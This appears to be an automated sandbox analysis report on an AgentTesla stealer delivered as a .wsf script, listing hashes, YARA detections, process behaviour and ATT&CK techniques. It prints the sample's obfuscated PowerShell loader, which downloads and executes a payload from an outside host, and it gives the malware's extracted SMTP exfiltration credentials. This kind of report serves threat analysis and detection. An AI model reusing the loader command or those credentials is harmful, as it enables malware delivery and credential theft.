agenttesla | d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
13/02/2024, 05:38

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General

Target

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf
Size

2KB
MD5

380c9e85f6960add801843076c33ec3b
SHA1

53f4ebaa47e325b25feaf22211dcff9223dc2ccc
SHA256

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277
SHA512

88e6a1f62735e5116041dfa23c0a3743f3f31b6372c4af698323e7eddd028eff7d10bb83b883bda6e3aa2171827efb661eacd7e7d7db4ca8891919b134986e35

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables manipulated with Fody 1 IoCs

resource	yara_rule
behavioral1/memory/2436-73-0x0000000002B90000-0x0000000002BB6000-memory.dmp	INDICATOR_EXE_Packed_Fody

Detects executables packed with Costura DotNetGuard 1 IoCs

resource	yara_rule
behavioral1/memory/2436-73-0x0000000002B90000-0x0000000002BB6000-memory.dmp	INDICATOR_EXE_Packed_Costura

Detects executables referencing Windows vault credential objects. Observed in infostealers 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 6 IoCs

resource	yara_rule
behavioral1/memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	2436	powershell.exe
8	2436	powershell.exe
10	2436	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2436 set thread context of 3052	2436	powershell.exe	31

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2436	powershell.exe
3052	InstallUtil.exe
3052	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeIncreaseQuotaPrivilege	2436	powershell.exe
Token: SeSecurityPrivilege	2436	powershell.exe
Token: SeTakeOwnershipPrivilege	2436	powershell.exe
Token: SeLoadDriverPrivilege	2436	powershell.exe
Token: SeSystemProfilePrivilege	2436	powershell.exe
Token: SeSystemtimePrivilege	2436	powershell.exe
Token: SeProfSingleProcessPrivilege	2436	powershell.exe
Token: SeIncBasePriorityPrivilege	2436	powershell.exe
Token: SeCreatePagefilePrivilege	2436	powershell.exe
Token: SeBackupPrivilege	2436	powershell.exe
Token: SeRestorePrivilege	2436	powershell.exe
Token: SeShutdownPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeSystemEnvironmentPrivilege	2436	powershell.exe
Token: SeRemoteShutdownPrivilege	2436	powershell.exe
Token: SeUndockPrivilege	2436	powershell.exe
Token: SeManageVolumePrivilege	2436	powershell.exe
Token: 33	2436	powershell.exe
Token: 34	2436	powershell.exe
Token: 35	2436	powershell.exe
Token: SeDebugPrivilege	3052	InstallUtil.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2436	2180	WScript.exe	28
PID 2180 wrote to memory of 2436	2180	WScript.exe	28
PID 2180 wrote to memory of 2436	2180	WScript.exe	28
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31
PID 2436 wrote to memory of 3052	2436	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://didaktik-labor.de/mx1.jpg';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0094f2ccd2eb50d551e9ca9fe86e5199

SHA1
5d1787d9f096014213b688cba0df97b4b1f29f96

SHA256
c6883da1acb5b786bb382796e23a86c88411015d6f8958bb99c16475c51a647e

SHA512
fb4d24ced284ecb6ee82a4e01272f3f82548c088ad6b30e48d4edb864400766a37ed488e7b140872566ccd877e5865e2e7db9c2072814b53fc4a68c45b767973

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fbcfc28e9449192926b08a0a2101ce39

SHA1
67f5478ab434d0fa750ee7fb62801d0d15c322f4

SHA256
42b5d71678194b55e4786badb22dfeb07972a201777d32a586b8712a4ebfca2b

SHA512
e93f4174cc200d9dbd6ee3a01dc70d7900e602bd55a8536c35af4c0dececb0b815a20a5d83d5a2048c02c912919c68ba05ab86e95025ca912123197b08693d25

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C:\Users\Admin\AppData\Local\Temp\Cab27AE.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar282E.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
memory/2436-9-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2436-10-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2436-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2436-11-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

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memory/2436-84-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2436-7-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2436-5-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2436-73-0x0000000002B90000-0x0000000002BB6000-memory.dmp

Filesize
152KB

Download
memory/2436-75-0x000000001BD90000-0x000000001BDA8000-memory.dmp

Filesize
96KB

Download
memory/2436-74-0x0000000002B60000-0x0000000002B6C000-memory.dmp

Filesize
48KB

Download
memory/2436-4-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2436-6-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-80-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/3052-78-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-77-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-79-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-83-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-76-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-86-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-87-0x00000000743B0000-0x0000000074A9E000-memory.dmp

Filesize
6.9MB

Download
memory/3052-88-0x0000000004A10000-0x0000000004A50000-memory.dmp

Filesize
256KB

Download
memory/3052-81-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3052-124-0x00000000743B0000-0x0000000074A9E000-memory.dmp

Filesize
6.9MB

Download
memory/3052-125-0x0000000004A10000-0x0000000004A50000-memory.dmp

Filesize
256KB

Download